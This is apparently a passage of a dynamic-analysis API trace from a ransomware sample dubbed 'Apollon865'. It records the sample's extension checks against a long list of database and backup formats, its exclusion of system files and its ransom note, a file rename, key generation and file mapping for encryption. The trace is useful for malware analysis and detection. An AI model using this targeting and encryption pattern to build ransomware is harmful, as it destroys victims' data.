	[0083.153] lstrlenW (lpString="nsf") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1
	[0083.153] lstrlenW (lpString="nv") returned 2
	[0083.153] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1
	[0083.153] lstrlenW (lpString="nv2") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1
	[0083.153] lstrlenW (lpString="nwdb") returned 4
	[0083.153] lstrcmpiW (lpString1="_dll", lpString2="nwdb") returned -1
	[0083.153] lstrlenW (lpString="nyf") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1
	[0083.153] lstrlenW (lpString="odb") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.153] lstrlenW (lpString="odb") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1
	[0083.153] lstrlenW (lpString="oqy") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1
	[0083.153] lstrlenW (lpString="ora") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1
	[0083.153] lstrlenW (lpString="orx") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1
	[0083.153] lstrlenW (lpString="owc") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1
	[0083.153] lstrlenW (lpString="p96") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1
	[0083.153] lstrlenW (lpString="p97") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1
	[0083.153] lstrlenW (lpString="pan") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1
	[0083.153] lstrlenW (lpString="pdb") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1
	[0083.153] lstrlenW (lpString="pdm") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1
	[0083.153] lstrlenW (lpString="pnz") returned 3
	[0083.153] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1
	[0083.154] lstrlenW (lpString="qry") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1
	[0083.154] lstrlenW (lpString="qvd") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1
	[0083.154] lstrlenW (lpString="rbf") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1
	[0083.154] lstrlenW (lpString="rctd") returned 4
	[0083.154] lstrcmpiW (lpString1="_dll", lpString2="rctd") returned -1
	[0083.154] lstrlenW (lpString="rod") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1
	[0083.154] lstrlenW (lpString="rodx") returned 4
	[0083.154] lstrcmpiW (lpString1="_dll", lpString2="rodx") returned -1
	[0083.154] lstrlenW (lpString="rpd") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1
	[0083.154] lstrlenW (lpString="rsd") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1
	[0083.154] lstrlenW (lpString="sas7bdat") returned 8
	[0083.154] lstrcmpiW (lpString1=".trx_dll", lpString2="sas7bdat") returned -1
	[0083.154] lstrlenW (lpString="sbf") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1
	[0083.154] lstrlenW (lpString="scx") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1
	[0083.154] lstrlenW (lpString="sdb") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1
	[0083.154] lstrlenW (lpString="sdc") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1
	[0083.154] lstrlenW (lpString="sdf") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1
	[0083.154] lstrlenW (lpString="sis") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1
	[0083.154] lstrlenW (lpString="spq") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1
	[0083.154] lstrlenW (lpString="te") returned 2
	[0083.154] lstrcmpiW (lpString1="ll", lpString2="te") returned -1
	[0083.154] lstrlenW (lpString="teacher") returned 7
	[0083.154] lstrcmpiW (lpString1="trx_dll", lpString2="teacher") returned 1
	[0083.154] lstrlenW (lpString="tmd") returned 3
	[0083.154] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1
	[0083.154] lstrlenW (lpString="tps") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1
	[0083.155] lstrlenW (lpString="trc") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.155] lstrlenW (lpString="trc") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1
	[0083.155] lstrlenW (lpString="trm") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1
	[0083.155] lstrlenW (lpString="udb") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1
	[0083.155] lstrlenW (lpString="udl") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1
	[0083.155] lstrlenW (lpString="usr") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1
	[0083.155] lstrlenW (lpString="v12") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1
	[0083.155] lstrlenW (lpString="vis") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1
	[0083.155] lstrlenW (lpString="vpd") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1
	[0083.155] lstrlenW (lpString="vvv") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1
	[0083.155] lstrlenW (lpString="wdb") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1
	[0083.155] lstrlenW (lpString="wmdb") returned 4
	[0083.155] lstrcmpiW (lpString1="_dll", lpString2="wmdb") returned -1
	[0083.155] lstrlenW (lpString="wrk") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1
	[0083.155] lstrlenW (lpString="xdb") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1
	[0083.155] lstrlenW (lpString="xld") returned 3
	[0083.155] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1
	[0083.155] lstrlenW (lpString="xmlff") returned 5
	[0083.155] lstrcmpiW (lpString1="x_dll", lpString2="xmlff") returned -1
	[0083.155] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.Apollon865") returned 82
	[0083.155] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll.apollon865"), dwFlags=0x1) returned 1
	[0083.159] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\office\\uicaptions\\1036\\omsintl.dll.trx_dll.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0083.159] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=45920) returned 1
	[0083.159] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0083.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0083.160] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0083.160] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0083.161] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0083.161] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.161] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb660, lpName=0x0) returned 0x15c
	[0083.162] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb660) returned 0x100000
	[0083.165] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0083.166] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0083.166] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0083.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0083.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0083.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0083.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0083.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0083.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0083.166] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0083.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0083.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0083.166] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0083.166] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0083.167] CloseHandle (hObject=0x15c) returned 1
	[0083.167] CloseHandle (hObject=0x9c) returned 1
	[0083.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0083.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0083.167] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0083.167] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7337cc00, ftCreationTime.dwHighDateTime=0x1cacf6a, ftLastAccessTime.dwLowDateTime=0xeef27730, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7337cc00, ftLastWriteTime.dwHighDateTime=0x1cacf6a, nFileSizeHigh=0x0, nFileSizeLow=0x7b60, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ONINTL.DLL.trx_dll", cAlternateFileName="ONINTL~1.TRX")) returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="..") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="windows") returned -1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="temp") returned -1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="boot") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="ids.txt") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="ntuser.dat") returned 1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="perflogs") returned -1
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2="MSBuild") returned 1
	[0083.168] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0083.168] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\OFFICE\\UICaptions\\1036\\OMSINTL.DLL.trx_dll") returned 71
	[0083.168] lstrcpyW (in: lpString1=0x119e670, lpString2="ONINTL.DLL.trx_dll" | out: lpString1="ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll"
	[0083.168] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0083.168] lstrlenW (lpString="Apollon865") returned 10
	[0083.168] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0083.168] lstrlenW (lpString=".dll") returned 4
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0083.168] lstrlenW (lpString=".lnk") returned 4
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0083.168] lstrlenW (lpString=".ini") returned 4
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0083.168] lstrlenW (lpString=".sys") returned 4
	[0083.168] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0083.168] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0083.168] lstrlenW (lpString="bak") returned 3
	[0083.168] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1
	[0083.168] lstrlenW (lpString="ba_") returned 3
	[0083.168] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1
	[0083.168] lstrlenW (lpString="dbb") returned 3
	[0083.168] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1
	[0083.168] lstrlenW (lpString="vmdk") returned 4
	[0083.168] lstrcmpiW (lpString1="_dll", lpString2="vmdk") returned -1
	[0083.168] lstrlenW (lpString="rar") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1
	[0083.169] lstrlenW (lpString="zip") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1
	[0083.169] lstrlenW (lpString="tgz") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1
	[0083.169] lstrlenW (lpString="vbox") returned 4
	[0083.169] lstrcmpiW (lpString1="_dll", lpString2="vbox") returned -1
	[0083.169] lstrlenW (lpString="vdi") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1
	[0083.169] lstrlenW (lpString="vhd") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1
	[0083.169] lstrlenW (lpString="vhdx") returned 4
	[0083.169] lstrcmpiW (lpString1="_dll", lpString2="vhdx") returned -1
	[0083.169] lstrlenW (lpString="avhd") returned 4
	[0083.169] lstrcmpiW (lpString1="_dll", lpString2="avhd") returned -1
	[0083.169] lstrlenW (lpString="db") returned 2
	[0083.169] lstrcmpiW (lpString1="ll", lpString2="db") returned 1
	[0083.169] lstrlenW (lpString="db2") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1
	[0083.169] lstrlenW (lpString="db3") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1
	[0083.169] lstrlenW (lpString="dbf") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1
	[0083.169] lstrlenW (lpString="mdf") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1
	[0083.169] lstrlenW (lpString="mdb") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1
	[0083.169] lstrlenW (lpString="sql") returned 3
	[0083.169] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1
	[0083.169] lstrlenW (lpString="sqlite") returned 6
	[0083.169] lstrcmpiW (lpString1="rx_dll", lpString2="sqlite") returned -1
	[0083.169] lstrlenW (lpString="sqlite3") returned 7
	[0083.169] lstrcmpiW (lpString1="trx_dll", lpString2="sqlite3") returned 1
	[0083.169] lstrlenW (lpString="sqlitedb") returned 8
	[0083.169] lstrcmpiW (lpString1=".trx_dll", lpString2="sqlitedb") returned -1
	[0083.169] lstrlenW (lpString="xml") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1
	[0083.170] lstrlenW (lpString="$er") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1
	[0083.170] lstrlenW (lpString="4dd") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1
	[0083.170] lstrlenW (lpString="4dl") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1
	[0083.170] lstrlenW (lpString="^^^") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1
	[0083.170] lstrlenW (lpString="abs") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1
	[0083.170] lstrlenW (lpString="abx") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1
	[0083.170] lstrlenW (lpString="accdb") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accdb") returned 1
	[0083.170] lstrlenW (lpString="accdc") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accdc") returned 1
	[0083.170] lstrlenW (lpString="accde") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accde") returned 1
	[0083.170] lstrlenW (lpString="accdr") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accdr") returned 1
	[0083.170] lstrlenW (lpString="accdt") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accdt") returned 1
	[0083.170] lstrlenW (lpString="accdw") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accdw") returned 1
	[0083.170] lstrlenW (lpString="accft") returned 5
	[0083.170] lstrcmpiW (lpString1="x_dll", lpString2="accft") returned 1
	[0083.170] lstrlenW (lpString="adb") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.170] lstrlenW (lpString="adb") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1
	[0083.170] lstrlenW (lpString="ade") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1
	[0083.170] lstrlenW (lpString="adf") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1
	[0083.170] lstrlenW (lpString="adn") returned 3
	[0083.170] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1
	[0083.170] lstrlenW (lpString="adp") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1
	[0083.171] lstrlenW (lpString="alf") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1
	[0083.171] lstrlenW (lpString="ask") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1
	[0083.171] lstrlenW (lpString="btr") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1
	[0083.171] lstrlenW (lpString="cat") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1
	[0083.171] lstrlenW (lpString="cdb") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1
	[0083.171] lstrlenW (lpString="ckp") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1
	[0083.171] lstrlenW (lpString="cma") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1
	[0083.171] lstrlenW (lpString="cpd") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1
	[0083.171] lstrlenW (lpString="dacpac") returned 6
	[0083.171] lstrcmpiW (lpString1="rx_dll", lpString2="dacpac") returned 1
	[0083.171] lstrlenW (lpString="dad") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1
	[0083.171] lstrlenW (lpString="dadiagrams") returned 10
	[0083.171] lstrcmpiW (lpString1="LL.trx_dll", lpString2="dadiagrams") returned 1
	[0083.171] lstrlenW (lpString="daschema") returned 8
	[0083.171] lstrcmpiW (lpString1=".trx_dll", lpString2="daschema") returned -1
	[0083.171] lstrlenW (lpString="db-journal") returned 10
	[0083.171] lstrcmpiW (lpString1="LL.trx_dll", lpString2="db-journal") returned 1
	[0083.171] lstrlenW (lpString="db-shm") returned 6
	[0083.171] lstrcmpiW (lpString1="rx_dll", lpString2="db-shm") returned 1
	[0083.171] lstrlenW (lpString="db-wal") returned 6
	[0083.171] lstrcmpiW (lpString1="rx_dll", lpString2="db-wal") returned 1
	[0083.171] lstrlenW (lpString="dbc") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1
	[0083.171] lstrlenW (lpString="dbs") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1
	[0083.171] lstrlenW (lpString="dbt") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1
	[0083.171] lstrlenW (lpString="dbv") returned 3
	[0083.171] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1
	[0083.172] lstrlenW (lpString="dbx") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1
	[0083.172] lstrlenW (lpString="dcb") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1
	[0083.172] lstrlenW (lpString="dct") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1
	[0083.172] lstrlenW (lpString="dcx") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1
	[0083.172] lstrlenW (lpString="ddl") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1
	[0083.172] lstrlenW (lpString="dlis") returned 4
	[0083.172] lstrcmpiW (lpString1="_dll", lpString2="dlis") returned -1
	[0083.172] lstrlenW (lpString="dp1") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1
	[0083.172] lstrlenW (lpString="dqy") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1
	[0083.172] lstrlenW (lpString="dsk") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1
	[0083.172] lstrlenW (lpString="dsn") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1
	[0083.172] lstrlenW (lpString="dtsx") returned 4
	[0083.172] lstrcmpiW (lpString1="_dll", lpString2="dtsx") returned -1
	[0083.172] lstrlenW (lpString="dxl") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1
	[0083.172] lstrlenW (lpString="eco") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1
	[0083.172] lstrlenW (lpString="ecx") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1
	[0083.172] lstrlenW (lpString="edb") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1
	[0083.172] lstrlenW (lpString="epim") returned 4
	[0083.172] lstrcmpiW (lpString1="_dll", lpString2="epim") returned -1
	[0083.172] lstrlenW (lpString="fcd") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1
	[0083.172] lstrlenW (lpString="fdb") returned 3
	[0083.172] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1
	[0083.172] lstrlenW (lpString="fic") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1
	[0083.173] lstrlenW (lpString="flexolibrary") returned 12
	[0083.173] lstrcmpiW (lpString1=".DLL.trx_dll", lpString2="flexolibrary") returned -1
	[0083.173] lstrlenW (lpString="fm5") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1
	[0083.173] lstrlenW (lpString="fmp") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1
	[0083.173] lstrlenW (lpString="fmp12") returned 5
	[0083.173] lstrcmpiW (lpString1="x_dll", lpString2="fmp12") returned 1
	[0083.173] lstrlenW (lpString="fmpsl") returned 5
	[0083.173] lstrcmpiW (lpString1="x_dll", lpString2="fmpsl") returned 1
	[0083.173] lstrlenW (lpString="fol") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1
	[0083.173] lstrlenW (lpString="fp3") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1
	[0083.173] lstrlenW (lpString="fp4") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1
	[0083.173] lstrlenW (lpString="fp5") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1
	[0083.173] lstrlenW (lpString="fp7") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1
	[0083.173] lstrlenW (lpString="fpt") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1
	[0083.173] lstrlenW (lpString="frm") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1
	[0083.173] lstrlenW (lpString="gdb") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.173] lstrlenW (lpString="gdb") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1
	[0083.173] lstrlenW (lpString="grdb") returned 4
	[0083.173] lstrcmpiW (lpString1="_dll", lpString2="grdb") returned -1
	[0083.173] lstrlenW (lpString="gwi") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1
	[0083.173] lstrlenW (lpString="hdb") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1
	[0083.173] lstrlenW (lpString="his") returned 3
	[0083.173] lstrcmpiW (lpString1="dll", lpString2="his") returned -1
	[0083.173] lstrlenW (lpString="ib") returned 2
	[0083.174] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1
	[0083.174] lstrlenW (lpString="idb") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1
	[0083.174] lstrlenW (lpString="ihx") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1
	[0083.174] lstrlenW (lpString="itdb") returned 4
	[0083.174] lstrcmpiW (lpString1="_dll", lpString2="itdb") returned -1
	[0083.174] lstrlenW (lpString="itw") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1
	[0083.174] lstrlenW (lpString="jet") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1
	[0083.174] lstrlenW (lpString="jtx") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1
	[0083.174] lstrlenW (lpString="kdb") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1
	[0083.174] lstrlenW (lpString="kexi") returned 4
	[0083.174] lstrcmpiW (lpString1="_dll", lpString2="kexi") returned -1
	[0083.174] lstrlenW (lpString="kexic") returned 5
	[0083.174] lstrcmpiW (lpString1="x_dll", lpString2="kexic") returned 1
	[0083.174] lstrlenW (lpString="kexis") returned 5
	[0083.174] lstrcmpiW (lpString1="x_dll", lpString2="kexis") returned 1
	[0083.174] lstrlenW (lpString="lgc") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1
	[0083.174] lstrlenW (lpString="lwx") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1
	[0083.174] lstrlenW (lpString="maf") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1
	[0083.174] lstrlenW (lpString="maq") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1
	[0083.174] lstrlenW (lpString="mar") returned 3
	[0083.174] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1
	[0083.174] lstrlenW (lpString="marshal") returned 7
